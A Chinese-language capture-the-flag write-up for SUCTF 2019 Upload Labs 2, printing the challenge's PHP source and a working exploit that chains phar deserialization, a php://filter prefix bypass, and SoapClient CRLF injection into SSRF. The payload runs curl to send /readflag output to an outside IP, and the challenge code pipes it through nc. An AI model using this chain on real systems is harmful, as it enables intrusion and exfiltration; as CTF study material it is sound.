文章目錄
- 考點
- 前言
- 代碼審計(WP)
- 參考連結
考點
SOAP+CLRF+PHAR+反彈shell
前言
做自己喜歡的事情,别計較得失
這些題也太喜歡phar與反彈shell了啊這
Add:一些文章中所提到的學習連結放到了參考連結處
代碼審計(WP)
首先是檔案上傳的部分,輸入參數開頭過濾了一堆協定吧,上次極客大挑戰就是用
compress.bzip
加上
phar
繞過了,這次通過網上wp發現還可以配合
php://filter/resource
繞過字首限制,進而觸發phar反序列化
首先是檔案上傳部分,首先就是一個檔案上傳隻能是gif,jpg等,這裡就不貼出相關代碼了
include 'class.php';
if (isset($_POST["submit"]) && isset($_POST["url"])) {
if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_POST['url'])){
die("Go away!");
}else{
$file_path = $_POST['url'];
$file = new File($file_path);
$file->getMIME();
echo "<p>Your file type is '$file' </p>";
}
}
下面再貼出關鍵頁面的源碼
class.php
<?php
include 'config.php';
class File{
public $file_name;
public $type;
public $func = "Check";
function __construct($file_name){
$this->file_name = $file_name;
}
function __wakeup(){
$class = new ReflectionClass($this->func);
$a = $class->newInstanceArgs($this->file_name);
$a->check();
}
function getMIME(){
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$this->type = finfo_file($finfo, $this->file_name);
finfo_close($finfo);
}
function __toString(){
return $this->type;
}
}
class Check{
public $file_name;
function __construct($file_name){
$this->file_name = $file_name;
}
function check(){
$data = file_get_contents($this->file_name);
if (mb_strpos($data, "<?") !== FALSE) {
die("<? in contents!");
}
}
}
admin.php
<?php
include 'config.php';
class Ad{
public $ip;
public $port;
public $clazz;
public $func1;
public $func2;
public $func3;
public $instance;
public $arg1;
public $arg2;
public $arg3;
function __construct($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3){
$this->ip = $ip;
$this->port = $port;
$this->clazz = $clazz;
$this->func1 = $func1;
$this->func2 = $func2;
$this->func3 = $func3;
$this->arg1 = $arg1;
$this->arg2 = $arg2;
$this->arg3 = $arg3;
}
function check(){
$reflect = new ReflectionClass($this->clazz);
$this->instance = $reflect->newInstanceArgs();
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func1);
$reflectionMethod->invoke($this->instance, $this->arg1);
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func2);
$reflectionMethod->invoke($this->instance, $this->arg2[0], $this->arg2[1], $this->arg2[2], $this->arg2[3], $this->arg2[4]);
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func3);
$reflectionMethod->invoke($this->instance, $this->arg3);
}
function __wakeup(){
system("/readflag | nc $this->ip $this->port");
}
}
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
if(isset($_POST['admin'])){
$ip = $_POST['ip'];
$port = $_POST['port'];
$clazz = $_POST['clazz'];
$func1 = $_POST['func1'];
$func2 = $_POST['func2'];
$func3 = $_POST['func3'];
$arg1 = $_POST['arg1'];
$arg2 = $_POST['arg2'];
$arg2 = $_POST['arg3'];
$admin = new Ad($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3);
$admin->check();
}
}
else {
echo "You r not admin!";
}
首先是題目中我們擷取flag的位置在admin.php中的
__destruct
但是要執行個體化admin.php中的Ad類,必須是
127.0.0.1
請求,是以我們必須找到ssrf的利用點,在class.php中的
__wakeup()
,可以執行個體化任意類,是以我們要找到發序列化的點
再看在func.php中我們知道,當我們檢視我們的上傳檔案時,會調用getMIME,而finfo_open也會觸發phar反序列化
在這裡我們的流程也大緻清楚了,我們首先上傳phar檔案,然後反序列化,這樣就能調用
class.php
中的
__wakeup
,這個時候我們再執行個體化
Soapclient
類,這樣就能通過
ssrf
通路
admin.php
,而且就能調用
admin.php
中的
__destruct
中的系統指令了
注意:
function check(){
$reflect = new ReflectionClass($this->clazz);
$this->instance = $reflect->newInstanceArgs();
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func1);
$reflectionMethod->invoke($this->instance, $this->arg1);
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func2);
$reflectionMethod->invoke($this->instance, $this->arg2[0], $this->arg2[1], $this->arg2[2], $this->arg2[3], $this->arg2[4]);
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func3);
$reflectionMethod->invoke($this->instance, $this->arg3);
}
check必須要通過,如果報錯了也不能後面去執行cmd
這裡用
SplStack
函數構造。
ReflectionMethod
建立
SplStack
類即可
接下來貼出利用腳本
<?php
class File{
public $file_name;
public $func="SoapClient";
public function __construct(){
$payload='admin=1&cmd=curl "http://172.16.137.167:888/?a=`/readflag`"&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3=123456';
$this->file_name=[null,array('location'=>'http://127.0.0.1/admin.php','user_agent'=>"xxx\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: ".strlen($payload)."\r\n\r\n".$payload,'uri'=>'abc')];
}
}
$a=new File();
@unlink("phar.phar");
$phar=new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub('GIF89a'.'<script language="php">__HALT_COMPILER();</script>');
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
php://filter/resource=phar://upload/77e6b759f35bf41481b6fa20dafa7c56/f3ccdd27d2000e3f9255a7e3e2c48800.jpg
然後反彈shell
參考連結
[SUCTF 2019]Upload Labs 2 phar+Soapclient結合[SUCTF 2019]Upload Labs 2(phar反序列化)